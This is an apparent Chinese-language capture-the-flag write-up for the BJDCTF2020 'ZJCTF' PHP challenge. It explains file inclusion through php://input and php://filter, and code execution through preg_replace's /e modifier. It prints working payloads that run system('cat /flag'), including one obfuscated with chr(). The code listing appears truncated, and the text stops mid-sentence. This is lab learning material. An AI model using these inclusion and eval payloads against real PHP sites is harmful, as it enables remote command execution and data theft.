20210928

[BJDCTF2020]ZJCTF,不过如此

代码审计 文件包含

先利用data数据流,或者php://input绕过第一个,再利用php://filter读取next.php源码

这个有个坑,老忘,include php文件时,要用

file=php://filter/read=convert.base64-encode/resource=next.php

尽心base64编码,否则传不过来。

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return


}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

我们先看一下preg_replace用法

preg_replace( mixed $pattern, mixed $replacement, mixed $subject[, int $limit = -1[, int &$count]] ) : mixed

搜索subject中匹配pattern的部分,以replacement进行替换。

这里又看了看php语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
foreach 循环用于遍历数组。

foreach ($array as $value)
{
要执行代码;
}
每进行一次循环,当前数组元素的值就会被赋值给 $value 变量(数组指针会逐一地移动),在进行下一次循环时,您将看到数组中的下一个值。


foreach ($array as $key => $value)
{
要执行代码;
}
每一次循环,当前数组元素的键与值就都会被赋值给 $key$value 变量(数字指针会逐一地移动),在进行下一次循环时,你将看到数组中的下一个键与值。


<?php
$x=array(1=>"Google", 2=>"Runoob", 3=>"Taobao");
foreach ($x as $key => $value)
{
echo "key 为 " . $key . ",对应的 value 为 ". $value . PHP_EOL;
}
?>

key 为 1,对应的 value 为 Google
key 为 2,对应的 value 为 Runoob
key 为 3,对应的 value 为 Taobao

就差不多了,直接构造payload

?\S*=${getFlag()}&cmd=system('cat /flag');

这里还利用了preg_replace /e 模式下的代码执行问题,\S*会匹配到getFlag这个函数

preg_replace('/(\S*)/ei','strtolower("\\1")',${getFlag()});

preg_replace 函数在匹配到符号正则的字符串时,会将第二个参数当做代码来执行,即 ‘strtolower(“\1”)’

这里的\1就相当于是第一个匹配项,由于\S()包裹这里有个反向引用,\S匹配的第一个表达式就是${getFlag()},对其进行代码执行,进而利用这个函数的eval

还可以直接利用这个漏洞命令执行而不用eval

?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

拼接的